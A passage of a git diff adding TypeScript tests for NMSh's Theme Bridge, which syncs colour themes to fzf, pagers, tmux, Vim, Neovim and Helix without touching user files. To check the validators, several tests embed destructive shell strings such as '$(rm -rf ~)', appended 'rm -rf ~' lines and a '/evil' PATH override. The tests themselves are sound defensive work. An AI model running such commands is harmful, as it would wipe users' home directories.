{mode: 'follow'}, tmux: {mode: 'choose', theme: 'builtin:gruvboxDark'}, vim: {mode: 'choose', theme: 'builtin:catppuccinMocha'}}); + const env = {PATH: ''}; + const before = fzfBridgeArgs(context(config, env)); + const pinnedBefore = reportTargets(context(config, env)).find(report => report.target === 'tmux')!; + config = setActiveTheme(config, 'builtin:nord').ok ? (setActiveTheme(config, 'builtin:nord') as {config: PromptConfiguration}).config : config; + const after = fzfBridgeArgs(context(config, env)); + const reports = reportTargets(context(config, env)); + assert.notDeepEqual(before, after, 'Follow NMSh changes with the main theme'); + assert.equal(reports.find(report => report.target === 'fzf')!.themeLabel, 'Nord'); + assert.equal(reports.find(report => report.target === 'tmux')!.themeLabel, 'Gruvbox Dark'); + assert.deepEqual(reports.find(report => report.target === 'tmux')!.palette, pinnedBefore.palette, 'the pinned palette is unchanged'); + assert.equal(reports.find(report => report.target === 'vim')!.themeLabel, 'Catppuccin Mocha'); + assert.equal(reports.find(report => report.target === 'tmux')!.status, 'Pinned theme'); + assert.equal(reports.find(report => report.target === 'fzf')!.status, 'Following NMSh'); + assert.notEqual(themeBridgeKey(config), themeBridgeKey(configWith({fzf: {mode: 'follow'}})), 'a theme or setting change re-applies'); +}); + +test('built-in, imported and custom themes all resolve; a deleted pin never resolves elsewhere', () => { + let config = configWith({}); + const custom = addTheme(config, {...builtinTheme('dracula'), name: 'Mine'}); + assert.ok(custom.ok); + config = custom.config; + const imported = addTheme(config, {...builtinTheme('nord'), name: 'Imp'}, {kind: 'kitty', sourceName: 'Imp'}); + assert.ok(imported.ok); + config = imported.config; + for (const ref of ['builtin:lavender', 'builtin:catppuccinLatte@peach', assetRef(custom.id!), assetRef(imported.id!)]) { + const resolved = resolveSemanticPalette(ref, config); + assert.ok(resolved.ok, ref); + assert.ok(Object.isFrozen(resolved.palette) && Object.isFrozen(resolved.palette.ansi), 'immutable snapshot'); + assert.equal(resolved.palette.ansi.length, 16); + } + assert.equal(resolveSemanticPalette('builtin:catppuccinLatte', config).ok && (resolveSemanticPalette('builtin:catppuccinLatte', config) as {palette: {dark: boolean}}).palette.dark, false); + config.themeBridge.targets.tmux = {mode: 'choose', theme: 'asset:t-000000000000'}; + const report = reportTargets(context(config, {PATH: ''})).find(item => item.target === 'tmux')!; + assert.equal(report.status, 'Missing theme'); + assert.equal(report.palette, undefined, 'no other theme is substituted'); +}); + +test('fzf: deterministic --color for NMSh launches; explicit caller options win; NO_COLOR and capability fallbacks', () => { + const palette = paletteFromTheme(builtinTheme('nord'), 'builtin:nord'); + const args = fzfColorArgs(palette, 'truecolor', [0, 74]); + assert.deepEqual(args, fzfColorArgs(palette, 'truecolor', [0, 74]), 'deterministic'); + assert.equal(args.length, 1); + assert.match(args[0]!, /^--color=bg:-1,fg:#[0-9a-f]{6},hl:#[0-9a-f]{6},fg\+:#[0-9a-f]{6},bg\+:#[0-9a-f]{6}/u); + assert.match(args[0]!, /gutter:-1/u, 'the terminal background stays the terminal\'s'); + assert.doesNotMatch(fzfColorArgs(palette, 'truecolor', [0, 20])[0]!, /separator|scrollbar|query|label|border/u, 'old fzf never gets unknown color names'); + assert.match(fzfColorArgs(palette, 'ansi256', [0, 74])[0]!, /fg:\d{1,3},/u); + assert.deepEqual(fzfColorArgs(palette, 'none'), []); + const caller = ['--no-multi', '--color=bw']; + assert.deepEqual(withFzfTheme(caller, args), [...args, ...caller], 'NMSh colors first, the launching surface\'s explicit options last (they win)'); + assert.equal(bridgeColorLevel('truecolor', {NO_COLOR: '1'}), 'none'); + assert.equal(bridgeColorLevel('truecolor', {NO_COLOR: ''}), 'truecolor', 'an empty NO_COLOR is not set'); + const config = configWith({fzf: {mode: 'follow'}}); + assert.deepEqual(fzfBridgeArgs({...context(config, {NO_COLOR: '1', PATH: ''})}), []); +}); + +test('less/man and LS_COLORS: scoped allowlisted variables, bounded deterministic values', () => { + const palette = paletteFromTheme(builtinTheme('gruvboxDark'), 'builtin:gruvboxDark'); + const pager = pagerEnvironment(palette, 'truecolor'); + assert.deepEqual(Object.keys(pager).sort(), ['GROFF_NO_SGR', 'LESS_TERMCAP_mb', 'LESS_TERMCAP_md', 'LESS_TERMCAP_me', 'LESS_TERMCAP_se', 'LESS_TERMCAP_so', 'LESS_TERMCAP_ue', 'LESS_TERMCAP_us']); + assert.ok(!('LESS' in pager) && !('PAGER' in pager) && !('MANPAGER' in pager), 'the user\'s pager options are never set'); + assert.match(pager.LESS_TERMCAP_md!, /^\u001B\[1;38;2;\d+;\d+;\d+m$/u); + assert.match(pagerEnvironment(palette, 'ansi256').LESS_TERMCAP_md!, /^\u001B\[1;38;5;\d+m$/u); + assert.deepEqual(pagerEnvironment(palette, 'none'), {}); + const ls = lsColorsFallback(palette, 'truecolor')!; + assert.equal(ls, lsColorsFallback(palette, 'truecolor')); + assert.ok(ls.length < 2500, `small fallback (${ls.length})`); + assert.ok(ls.split(':').length < 60, 'not an extension database'); + assert.match(ls, /^di=1;38;2;\d+;\d+;\d+:/u); + assert.ok(ls.split(':').every(entry => /^[^=:\s]+=[0-9;]+$/u.test(entry))); + assert.equal(lsColorsFallback(palette, 'none'), undefined); + const config = configWith({pager: {mode: 'follow'}, lsColors: {mode: 'choose', theme: 'builtin:nord'}}); + const environment = bridgeEnvironment(context(config, {PATH: ''})); + assert.ok(Object.keys(environment).every(name => (BRIDGE_ENV_VARIABLES as readonly string[]).includes(name))); + assert.ok(environment.LS_COLORS && environment.LESS_TERMCAP_md); +}); + +test('environment sink: exact quoting, strict validation, allowlist only', () => { + const tricky = "\u001B[1m it's \\ $HOME `x` $(rm -rf ~) ;|&"; + assert.equal(posixAnsiQuote(tricky), "$'\\e[1m it\\'s \\\\ $HOME `x` $(rm -rf ~) ;|&'"); + assert.equal(fishLiteral(tricky), "\\e'[1m it\\'s \\\\ $HOME `x` $(rm -rf ~) ;|&'"); + for (const shell of ['zsh', 'bash', 'fish'] as const) { + const content = renderEnvironmentFile(shell, {LS_COLORS: 'di=1;34', LESS_TERMCAP_md: tricky}); + assert.ok(validateEnvironmentFile(shell, content), shell); + assert.equal(validateEnvironmentFile(shell, `${content}rm -rf ~\n`), false, 'appended commands fail validation'); + assert.equal(validateEnvironmentFile(shell, content.replace('nmsh_bridge_clear GROFF_NO_SGR', 'nmsh_bridge_clear PATH')), false, 'non-allowlisted names fail'); + assert.ok(content.split('\n').filter(line => line.startsWith(' ')).length === BRIDGE_ENV_VARIABLES.length + 2, 'every variable plus the ls/gls listing lines'); + } + assert.throws(() => renderEnvironmentFile('zsh', {PATH: '/evil'} as never), /Refusing/u); + assert.throws(() => renderEnvironmentFile('zsh', {LS_COLORS: 'a\nb'}), /Refusing/u); +}); + +const shells: Array<{id: 'zsh' | 'bash' | 'fish'; bin: string | undefined}> = [ + {id: 'zsh', bin: ['/bin/zsh', '/usr/bin/zsh'].find(existsSync)}, + {id: 'bash', bin: ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/bin/bash', '/usr/bin/bash'].find(path => existsSync(path) && /version [45]\.|version [6-9]\./u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? ''))}, + {id: 'fish', bin: ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync)}, +]; + +for (const {id, bin} of shells) { + test(`environment sink in a real ${id}: apply, follow update, Independent restores only NMSh-owned values, no history or rc writes`, {skip: bin ? false : `${id} not installed`}, () => { + const box = sandbox(); + try { + const file = bridgeEnvPath(id, box.env); + const value = '\u001B[1;38;2;1;2;3m'; + writeEnvironmentFiles({LESS_TERMCAP_md: value, LS_COLORS: 'di=1;34'}, box.env); + const first = readFileSync(file, 'utf8'); + writeEnvironmentFiles({LESS_TERMCAP_md: value, LS_COLORS: 'di=1;35'}, box.env); + const second = readFileSync(file, 'utf8'); + writeEnvironmentFiles({}, box.env); + const cleared = readFileSync(file, 'utf8'); + const stage = (content: string) => { const path = join(box.root, `stage-${Math.random()}`); writeFileSync(path, content); return path; }; + const [a, b, c] = [first, second, cleared].map(stage); + const show = id === 'fish' + ? `printf '%s|%s\\n' (set -q LESS_TERMCAP_md; and printf %s "$LESS_TERMCAP_md" | od -An -c | tr -d ' \\n'; or echo unset) "$LS_COLORS"` + : `printf '%s|%s\\n' "\${LESS_TERMCAP_md+set}" "\${LS_COLORS-unset}"`; + const userSets = id === 'fish' ? 'set -gx LS_COLORS user-value' : 'export LS_COLORS=user-value'; + const script = `${bridgeBootstrap(id, file)}\n${userSets}\ncp ${a} ${file}; nmsh_bridge_sync; ${show}\ncp ${b} ${file}; nmsh_bridge_sync; ${show}\nnmsh_bridge_sync; ${show}\ncp ${c} ${file}; nmsh_bridge_sync; ${show}\n`; + // The shell's own data/cache directories live outside HOME here, so HOME shows only what NMSh might have written (nothing). + const result = spawnSync(bin!, ['-c', script], {encoding: 'utf8', env: {...box.env, PATH: process.env.PATH, HISTFILE: join(box.root, 'history'), + XDG_DATA_HOME: join(box.root, 'data'), XDG_CACHE_HOME: join(box.root, 'cache')}}); + const lines = result.stdout.trim().split('\n'); + assert.equal(lines.length, 4, result.stderr); + assert.match(lines[0]!, /\|di=1;34$/u, 'applied'); + assert.match(lines[1]!, /\|di=1;35$/u, 'a changed theme updates the value'); + assert.equal(lines[2], lines[1], 'an unchanged generation is not re-applied'); + assert.match(lines[3]!, id === 'fish' ? /^unset\|user-value$/u : /^\|user-value$/u, 'Independent restores the user\'s own value and removes NMSh\'s'); + assert.equal(existsSync(join(box.root, 'history')), false, 'nothing is written to history'); + assert.deepEqual(readdirSync(box.home), [], 'no rc or dotfile was created or changed'); + } finally { box.done(); } + }); +} + +test('environment sink: a value the user changed after NMSh set it is left alone on clear', {skip: shells[0]!.bin ? false : 'zsh not installed'}, () => { + const box = sandbox(); + try { + const file = bridgeEnvPath('zsh', box.env); + writeEnvironmentFiles({LS_COLORS: 'di=1;34'}, box.env); + const on = readFileSync(file, 'utf8'); + writeEnvironmentFiles({}, box.env); + const off = readFileSync(file, 'utf8'); + const onPath = join(box.root, 'on'); const offPath = join(box.root, 'off'); + writeFileSync(onPath, on); writeFileSync(offPath, off); + const script = `${bridgeBootstrap('zsh', file)}\ncp ${onPath} ${file}; nmsh_bridge_sync\nexport LS_COLORS=mine-now\ncp ${offPath} ${file}; nmsh_bridge_sync\nprint -r -- "$LS_COLORS"`; + assert.equal(spawnSync(shells[0]!.bin!, ['-c', script], {encoding: 'utf8', env: {...box.env, PATH: process.env.PATH}}).stdout.trim(), 'mine-now'); + } finally { box.done(); } +}); + +test('managed artifacts: staged validated writes, ownership ledger, never overwrite or delete what NMSh cannot prove it owns', () => { + const box = sandbox(); + try { + const palette = paletteFromTheme(builtinTheme('nord'), 'builtin:nord'); + const record = {mode: 'follow' as const, themeRef: 'builtin:nord', format: 'tmux-fragment', formatVersion: 1}; + assert.equal(writeArtifact('tmux', 'bind-key x kill-server\n', validateTmuxFragment, record, box.env).ok, false, 'invalid content is never written'); + assert.equal(existsSync(artifactPath('tmux', box.env)), false); + const written = writeArtifact('tmux', tmuxFragment(palette), validateTmuxFragment, record, box.env); + assert.ok(written.ok && written.changed); + assert.equal(ownership('tmux', loadLedger(box.env), box.env), 'owned'); + // An edited file is no longer provably NMSh's: no overwrite, no delete. + writeFileSync(artifactPath('tmux', box.env), `${tmuxFragment(palette)}# my edit\n`); + assert.equal(ownership('tmux', loadLedger(box.env), box.env), 'modified'); + assert.equal(writeArtifact('tmux', tmuxFragment(palette), validateTmuxFragment, record, box.env).ok, false); + assert.equal(removeArtifact('tmux', box.env).ok, false); + assert.match(readFileSync(artifactPath('tmux', box.env), 'utf8'), /# my edit/u); + // A file without a ledger entry (or with a malformed ledger) is unknown. + writeFileSync(ledgerPath(box.env), '{not json'); + assert.equal(ownership('tmux', loadLedger(box.env), box.env), 'unknown'); + assert.equal(removeArtifact('tmux', box.env).ok, false); + // A ledger cannot point NMSh at other files. + const victim = join(box.home, '.tmux.conf'); + writeFileSync(victim, 'set -g mouse on\n'); + writeFileSync(ledgerPath(box.env), JSON.stringify({version: 1, entries: {vim: {target: 'vim', artifactPath: victim, sha256: 'a'.repeat(64)}}})); + assert.deepEqual(loadLedger(box.env).entries, {}); + assert.equal(removeArtifact('vim', box.env).ok, true); + assert.equal(readFileSync(victim, 'utf8'), 'set -g mouse on\n', 'user files are untouched'); + } finally { box.done(); } +}); + +test('exact includes: shown plan, exact lines appended, exact removal, duplicates refused, user content untouched', () => { + const box = sandbox(); + try { + const conf = join(box.home, '.tmux.conf'); + writeFileSync(conf, 'set -g mouse on\nbind r source-file ~/.tmux.conf\n'); + const palette = paletteFromTheme(builtinTheme('nord'), 'builtin:nord'); + assert.ok(writeArtifact('tmux', tmuxFragment(palette), validateTmuxFragment, {mode: 'follow', themeRef: 'builtin:nord', format: 'tmux-fragment', formatVersion: 1}, box.env).ok); + // tmux.conf includes the one managed tmux file (settings + Theme Bridge colors). + assert.ok(writeTmuxManaged(DEFAULT_TMUX_MODEL(), box.env).ok); + const spec = hookSpec('tmux', box.env, box.home); + assert.ok(!('error' in spec)); + assert.equal(spec.configPath, conf, 'the existing user config is the target'); + assert.deepEqual(spec.lines, ['# NMSh Theme Bridge: loads NMSh-managed colors (remove with /theme-bridge)', `source-file -q '${artifactPath('tmuxConfig', box.env)}'`]); + const planned = planHook(spec, box.home); + assert.ok('plan' in planned); + assert.ok(planned.plan.preview.some(line => line.startsWith('+ source-file -q')), 'the exact line is previewed'); + assert.equal(readFileSync(conf, 'utf8'), 'set -g mouse on\nbind r source-file ~/.tmux.conf\n', 'planning writes nothing'); + assert.ok(applyHook('tmux', planned.plan, spec, box.env).ok); + const after = readFileSync(conf, 'utf8'); + assert.ok(after.startsWith('set -g mouse on\nbind r source-file ~/.tmux.conf\n'), 'nothing of the user\'s is rewritten'); + assert.ok(after.endsWith(`${spec.lines.join('\n')}\n`)); + assert.ok('noop' in planHook(spec, box.home), 'already present: nothing to add'); + const removal = planHookRemoval('tmux', box.home, box.env); + assert.ok('plan' in removal); + assert.ok(applyHookRemoval('tmux', removal.plan, box.env).ok); + assert.equal(readFileSync(conf, 'utf8'), 'set -g mouse on\nbind r source-file ~/.tmux.conf\n\n', 'only the NMSh lines are removed'); + assert.equal(loadLedger(box.env).entries.tmuxConfig?.hook, undefined); + // Duplicated includes are never guessed at. + assert.ok(applyHook('tmux', (planHook(spec, box.home) as {plan: never}).plan, spec, box.env).ok); + writeFileSync(conf, `${readFileSync(conf, 'utf8')}${spec.lines.join('\n')}\n`); + assert.match((planHookRemoval('tmux', box.home, box.env) as {error: string}).error, /more than once/u); + // A missing Neovim init is created with only the hook lines; Vim targets ~/.vimrc. + const nvim = hookSpec('neovim', box.env, box.home); + assert.ok(!('error' in nvim) && nvim.createIfMissing && nvim.configPath.endsWith(join('nvim', 'init.lua'))); + assert.match(nvim.lines[1]!, /^pcall\(function\(\) vim\.opt\.runtimepath:append\('.+'\); vim\.cmd\.colorscheme\('nmsh-bridge'\) end\)$/u); + const vim = hookSpec('vim', box.env, box.home); + assert.ok(!('error' in vim) && vim.configPath === join(box.home, '.vimrc')); + } finally { box.done(); } +}); + +test('tmux fragment: broad style coverage, no behavior, real tmux loads it', () => { + for (const ref of ['builtin:lavender', 'builtin:gruvboxLight', 'builtin:catppuccinMocha@peach']) { + const resolved = resolveSemanticPalette(ref, {themes: []}); + assert.ok(resolved.ok); + const fragment = tmuxFragment(resolved.palette); + assert.ok(validateTmuxFragment(fragment)); + const options = fragment.split('\n').filter(line => line.startsWith('set ')).map(line => line.split(' ')[2]); + assert.ok(options.length >= 20, 'status, windows, panes, messages, modes, menus, popups, clock, display-panes, copy-mode'); + assert.ok(options.every(option => (TMUX_STYLE_OPTIONS as readonly string[]).includes(option!))); + assert.doesNotMatch(fragment, /\b(?:bind|unbind|prefix|mouse|run|if-shell|source|set-hook|default-shell|default-command)\b/u); + } + assert.equal(validateTmuxFragment('set -gq status-style "fg=#ffffff"\nbind x kill-server\n'), false); + assert.equal(validateTmuxFragment('set -gq default-command "rm -rf ~"\n'), false); + const tmux = ['/opt/homebrew/bin/tmux', '/usr/local/bin/tmux', '/usr/bin/tmux'].find(existsSync); + if (!tmux) return; + const box = sandbox(); + try { + const path = join(box.root, 'fragment.conf'); + writeFileSync(path, tmuxFragment(paletteFromTheme(builtinTheme('nord'), 'builtin:nord'))); + const socket = `nmsh-test-${process.pid}`; + const result = spawnSync(tmux, ['-L', socket, '-f', '/dev/null', 'new-session', '-d', ';', 'source-file', path, ';', 'show-options', '-g', 'pane-active-border-style', ';', 'kill-server'], + {encoding: 'utf8', env: {...process.env, TMUX: '', TMUX_TMPDIR: box.root}}); + assert.equal(result.status, 0, result.stderr); + assert.match(result.stdout, /pane-active-border-style "?fg=#[0-9a-f]{6}/u); + } finally { box.done(); } +}); + +test('Neovim and Vim colorschemes: broad native coverage, separate dialects, real Vim loads its file', () => { + const dark = paletteFromTheme(builtinTheme('tokyonightNight'), 'builtin:tokyonightNight'); + const light = paletteFromTheme(builtinTheme('solarizedLight'), 'builtin:solarizedLight'); + const nvim = neovimColorscheme(dark); + assert.ok(validateNeovimColorscheme(nvim)); + for (const group of ['Normal', 'NormalFloat', 'Comment', 'String', 'Function', 'Keyword', 'Visual', 'Search', 'Pmenu', 'PmenuSel', 'StatusLine', 'WinSeparator', 'MatchParen', + 'DiffAdd', 'DiffText', 'DiagnosticError', 'DiagnosticUnderlineWarn', 'DiagnosticSignInfo', '@comment', '@function.call', '@keyword.return', '@type.builtin']) { + assert.ok(nvim.includes(`set(0, '${group}'`), group); + } + assert.match(nvim, /set\(0, '@function', \{link = 'Function'\}\)/u, 'Tree-sitter captures link onto base groups'); + assert.match(nvim, /vim\.o\.background = 'dark'/u); + assert.match(neovimColorscheme(light), /vim\.o\.background = 'light'/u); + assert.equal(validateNeovimColorscheme(`${nvim}os.execute('rm -rf ~')\n`), false, 'nothing but highlight data validates'); + const vim = vimColorscheme(dark); + assert.ok(validateVimColorscheme(vim)); + for (const group of ['Normal', 'Comment', 'Constant', 'Exception', 'Typedef', 'Todo', 'CursorLineNr', 'PmenuSel', 'StatusLineNC', 'VertSplit', 'DiffDelete']) assert.match(vim, new RegExp(`^hi ${group} `, 'mu'), group); + assert.doesNotMatch(vim, /@|nvim_|Diagnostic|NormalFloat|WinSeparator/u, 'no Neovim-only groups or APIs in the Vim file'); + assert.match(vim, /^hi Comment guifg=#[0-9a-f]{6} guibg=NONE ctermfg=\d{1,3} ctermbg=NONE/mu, 'truecolor plus a 256-color fallback'); + assert.equal(validateVimColorscheme(`${vim}!rm -rf ~\n`), false); + const vimBinary = ['/usr/bin/vim', '/opt/homebrew/bin/vim', '/usr/local/bin/vim'].find(existsSync); + if (!vimBinary) return; + const box = sandbox(); + try { + mkdirSync(join(box.root, 'colors')); + writeFileSync(join(box.root, 'colors', 'nmsh-bridge.vim'), vim); + const result = spawnSync(vimBinary, ['-u', 'NONE', '-N', '-es', '-c', `set rtp+=${box.root}`, '-c', 'colorscheme nmsh-bridge', '-c', 'redir => x | silent hi Keyword | redir END | put =x | %print | qa!'], + {encoding: 'utf8', env: {...process.env, HOME: box.home}}); + assert.match(result.stdout, /Keyword\s+xxx .*guifg=#[0-9a-f]{6}/u, result.stderr); + } finally { box.done(); } +}); + +test('applyThemeBridge: isolated per target; independent targets get nothing; failures are reported, others proceed', async () => { + const box = sandbox(); + try { + let config = configWith({pager: {mode: 'follow'}, tmux: {mode: 'follow'}, vim: {mode: 'choose', theme: 'builtin:nord'}, neovim: {mode: 'independent'}}); + // Something that is not NMSh's sits at the tmux path. + mkdirSync(join(box.env.XDG_CONFIG_HOME!, 'nmsh', 'theme-bridge', 'tmux'), {recursive: true}); + writeFileSync(artifactPath('tmux', box.env), 'set -g status-style bg=red\n'); + const outcomes = await applyThemeBridge(context(config, box.env)); + assert.equal(outcomes.find(outcome => outcome.target === 'tmux')?.ok, false); + assert.equal(readFileSync(artifactPath('tmux', box.env), 'utf8'), 'set -g status-style bg=red\n', 'never overwritten'); + assert.ok(outcomes.find(outcome => outcome.target === 'vim')?.ok); + assert.ok(existsSync(artifactPath('vim', box.env))); + assert.equal(existsSync(artifactPath('neovim', box.env)), false, 'Independent: no artifact'); + assert.match(readFileSync(bridgeEnvPath('zsh', box.env), 'utf8'), /nmsh_bridge_apply LESS_TERMCAP_md/u); + assert.deepEqual(readdirSync(box.home), [], 'no user config was touched'); + // Switching Vim to Independent removes the owned artifact; the env clears the pager values. + config = configWith({vim: {mode: 'independent'}}); + await applyThemeBridge(context(config, box.env)); + assert.equal(existsSync(artifactPath('vim', box.env)), false); + assert.doesNotMatch(readFileSync(bridgeEnvPath('bash', box.env), 'utf8'), /nmsh_bridge_apply/u); + assert.equal((await reloadTmux(box.env)).ok, false, 'no reload without an owned fragment (and no tmux on this PATH)'); + } finally { box.done(); } +}); + +test('reports: factual statuses; bat needs a reviewed setup; delta is detected only', () => { + const box = sandbox(); + const config = configWith({fzf: {mode: 'follow'}, bat: {mode: 'follow'}, delta: {mode: 'follow'}}); + const reports = reportTargets(context(config, box.env, installed('fzf', 'bat', 'delta'))); + box.done(); + const by = (target: BridgeTargetId) => reports.find(report => report.target === target)!; + assert.equal(by('fzf').status, 'Following NMSh'); + assert.equal(by('bat').status, 'Needs setup'); + assert.equal(by('bat').readiness, 'Needs setup'); + assert.match(by('bat').notes.join(' '), /reviewed cache build/u); + assert.equal(by('delta').status, 'Not managed'); + assert.equal(by('delta').mode, 'independent', 'a stored mode never makes delta appear managed'); + assert.deepEqual(by('delta').modes, ['independent']); + assert.equal(by('delta').editable, false); + assert.match(by('delta').notes.join(' '), /git config/u); + assert.equal(by('tmux').status, 'Not installed'); + assert.equal(by('pager').status, 'Not installed'); + const colorless = reportTargets({...context(config, {PATH: '', NO_COLOR: '1'}, installed('fzf'))}).find(report => report.target === 'fzf')!; + assert.match(colorless.notes.join(' '), /NO_COLOR/u); +}); diff --git a/tests/themeBridgeHelix.test.ts b/tests/themeBridgeHelix.test.ts new file mode 100644 index 00000000..32fadcfa --- /dev/null +++ b/tests/themeBridgeHelix.test.ts @@ -0,0 +1,142 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {parse as parseToml} from 'smol-toml'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, type PromptConfiguration} from '../src/prompt/configuration.js'; +import {addTheme, setActiveTheme} from '../src/appearance/themeLibraryActions.js'; +import {assetRef, builtinTheme} from '../src/appearance/themeRefs.js'; +import {paletteFromTheme} from '../src/appearance/semanticPalette.js'; +import {helixTheme, validateHelixTheme} from '../src/themeBridge/targets.js'; +import {applyHook, applyHookRemoval, artifactPath, helixConfigDirectory, hookSpec, loadLedger, planHook, planHookRemoval, removeArtifact} from '../src/themeBridge/artifacts.js'; +import {applyThemeBridge, reportTargets, type BridgeContext} from '../src/themeBridge/runtime.js'; +import {BRIDGE_TARGETS, type BridgeTargetId} from '../src/themeBridge/model.js'; + +function sandbox() { + const root = mkdtempSync(join(tmpdir(), 'nmsh-helix-')); + const home = join(root, 'home'); + mkdirSync(home); + return {root, home, env: {HOME: home, XDG_CONFIG_HOME: join(home, '.config'), PATH: ''} as NodeJS.ProcessEnv, done: () => rmSync(root, {recursive: true, force: true})}; +} +const facts = Object.fromEntries(BRIDGE_TARGETS.map(target => [target, {installed: true}])) as BridgeContext['facts']; +function config(helix: {mode: 'independent' | 'follow' | 'choose'; theme?: string}, active = 'builtin:lavender'): PromptConfiguration { + const base = normalizePromptConfiguration({...structuredClone(DEFAULT_PROMPT_CONFIGURATION), themeBridge: {enabled: true, targets: {helix}}}); + const result = setActiveTheme(base, active); + assert.ok(result.ok); + return result.config; +} +const ctx = (source: PromptConfiguration, env: NodeJS.ProcessEnv): BridgeContext => ({source, facts, level: 'truecolor', env}); + +test('Helix theme: deterministic parseable TOML with a palette; every style references the palette', () => { + const palette = paletteFromTheme(builtinTheme('tokyonightNight'), 'builtin:tokyonightNight'); + const toml = helixTheme(palette); + assert.equal(toml, helixTheme(palette)); + assert.ok(validateHelixTheme(toml, parseToml)); + const data = parseToml(toml) as Record; + const names = data.palette as Record; + assert.ok(Object.values(names).every(hex => /^#[0-9a-f]{6}$/u.test(hex))); + for (const scope of ['attribute', 'type', 'type.builtin', 'constructor', 'constant', 'constant.builtin', 'constant.numeric', 'string', 'string.regexp', 'string.special', 'comment', + 'variable', 'variable.builtin', 'variable.parameter', 'variable.other.member', 'label', 'punctuation', 'punctuation.delimiter', 'punctuation.bracket', 'keyword', 'keyword.control', + 'keyword.control.conditional', 'keyword.control.repeat', 'keyword.control.import', 'keyword.control.return', 'keyword.control.exception', 'keyword.operator', 'keyword.directive', + 'keyword.function', 'keyword.storage', 'operator', 'function', 'function.builtin', 'function.method', 'function.macro', 'tag', 'namespace', 'special', + 'markup.heading', 'markup.bold', 'markup.italic', 'markup.link', 'markup.quote', 'markup.raw', 'diff.plus', 'diff.minus', 'diff.delta', 'diff.delta.conflict']) assert.ok(scope in data, scope); + for (const scope of ['ui.background', 'ui.background.separator', 'ui.cursor', 'ui.cursor.normal', 'ui.cursor.insert', 'ui.cursor.select', 'ui.cursor.match', 'ui.cursor.primary', + 'ui.gutter', 'ui.gutter.selected', 'ui.linenr', 'ui.linenr.selected', 'ui.statusline', 'ui.statusline.inactive', 'ui.statusline.normal', 'ui.statusline.insert', 'ui.statusline.select', + 'ui.statusline.separator', 'ui.bufferline', 'ui.bufferline.active', 'ui.bufferline.background', 'ui.popup', 'ui.popup.info', 'ui.window', 'ui.help', 'ui.text', 'ui.text.focus', + 'ui.text.inactive', 'ui.text.info', 'ui.text.directory', 'ui.virtual.whitespace', 'ui.virtual.indent-guide', 'ui.virtual.inlay-hint', 'ui.virtual.inlay-hint.parameter', + 'ui.virtual.inlay-hint.type', 'ui.menu', 'ui.menu.selected', 'ui.menu.scroll', 'ui.selection', 'ui.selection.primary', 'ui.highlight', 'ui.cursorline.primary', + 'ui.cursorline.secondary', 'ui.cursorcolumn.primary']) assert.ok(scope in data, scope); + assert.equal(names[data['diff.plus'] as string], palette.success); + assert.equal(names[data['diff.minus'] as string], palette.failure); + assert.equal(names[data['diff.delta'] as string], palette.warning); + assert.equal(names[(data['diagnostic.error'] as {underline: {color: string}}).underline.color], palette.failure); + assert.equal(names[data.keyword as string], palette.syntax.keyword); + assert.deepEqual({...data['ui.background'] as object}, {}, 'no theme background: the terminal keeps its own'); + const imported = paletteFromTheme({...builtinTheme('nord'), terminal: {background: '#101010', foreground: '#eeeeee', ansi: Array(16).fill('#888888')}}, 'asset:t-aaaaaaaaaaaa'); + assert.deepEqual({...parseToml(helixTheme(imported))['ui.background'] as object}, {bg: 'background'}); + assert.equal(validateHelixTheme(`${toml}\n"ui.text" = "nonexistent"\n`, parseToml), false); + assert.equal(validateHelixTheme('"keyword" = { fg = "x", command = "rm -rf ~" }\n[palette]\nx = "#000000"\n', parseToml), false, 'theme data only'); +}); + +test('Helix: Independent writes nothing; Follow tracks the active theme; Choose stays pinned; library themes resolve', async () => { + const box = sandbox(); + try { + await applyThemeBridge(ctx(config({mode: 'independent'}), box.env)); + assert.equal(existsSync(artifactPath('helix', box.env)), false); + assert.equal(existsSync(helixConfigDirectory(box.env)), false, 'nothing under the Helix config dir'); + let follow = config({mode: 'follow'}); + await applyThemeBridge(ctx(follow, box.env)); + const lavender = readFileSync(artifactPath('helix', box.env), 'utf8'); + assert.match(lavender, /from "Lavender Native"/u); + follow = (setActiveTheme(follow, 'builtin:gruvboxDark') as {config: PromptConfiguration}).config; + await applyThemeBridge(ctx(follow, box.env)); + assert.match(readFileSync(artifactPath('helix', box.env), 'utf8'), /from "Gruvbox Dark"/u, 'regenerated when the NMSh theme changes'); + let pinned = config({mode: 'choose', theme: 'builtin:nord'}); + const added = addTheme(pinned, {...builtinTheme('dracula'), name: 'Imported Dracula'}, {kind: 'ghostty'}); + assert.ok(added.ok); + pinned = {...added.config, themeBridge: {...added.config.themeBridge, targets: {...added.config.themeBridge.targets, helix: {mode: 'choose', theme: assetRef(added.id!)}}}}; + await applyThemeBridge(ctx(pinned, box.env)); + const chosen = readFileSync(artifactPath('helix', box.env), 'utf8'); + assert.match(chosen, /from "Imported Dracula"/u); + pinned = (setActiveTheme(pinned, 'builtin:solarizedLight') as {config: PromptConfiguration}).config; + await applyThemeBridge(ctx(pinned, box.env)); + assert.equal(readFileSync(artifactPath('helix', box.env), 'utf8'), chosen, 'pinned: unchanged by the main theme'); + const report = reportTargets(ctx(pinned, box.env)).find(item => item.target === 'helix')!; + assert.equal(report.status, 'Pinned theme'); + assert.equal(report.readiness, 'Needs activation'); + assert.match(report.notes.join(' '), /select it with :theme nmsh-bridge/iu); + assert.match(report.notes.join(' '), /Running Helix instances are not recolored/u, 'never claims live updates'); + } finally { box.done(); } +}); + +test('Helix: never overwrites an unowned user theme file of the same name', async () => { + const box = sandbox(); + try { + mkdirSync(join(helixConfigDirectory(box.env), 'themes'), {recursive: true}); + writeFileSync(artifactPath('helix', box.env), 'inherits = "onedark"\n'); + const outcomes = await applyThemeBridge(ctx(config({mode: 'follow'}), box.env)); + assert.equal(outcomes.find(outcome => outcome.target === 'helix')?.ok, false); + assert.equal(readFileSync(artifactPath('helix', box.env), 'utf8'), 'inherits = "onedark"\n'); + assert.equal(removeArtifact('helix', box.env).ok, false); + assert.equal(reportTargets(ctx(config({mode: 'follow'}), box.env)).find(item => item.target === 'helix')!.status, 'Conflict'); + } finally { box.done(); } +}); + +test('Helix activation: exact confirmed theme assignment before the first table; removal exact; a user-selected 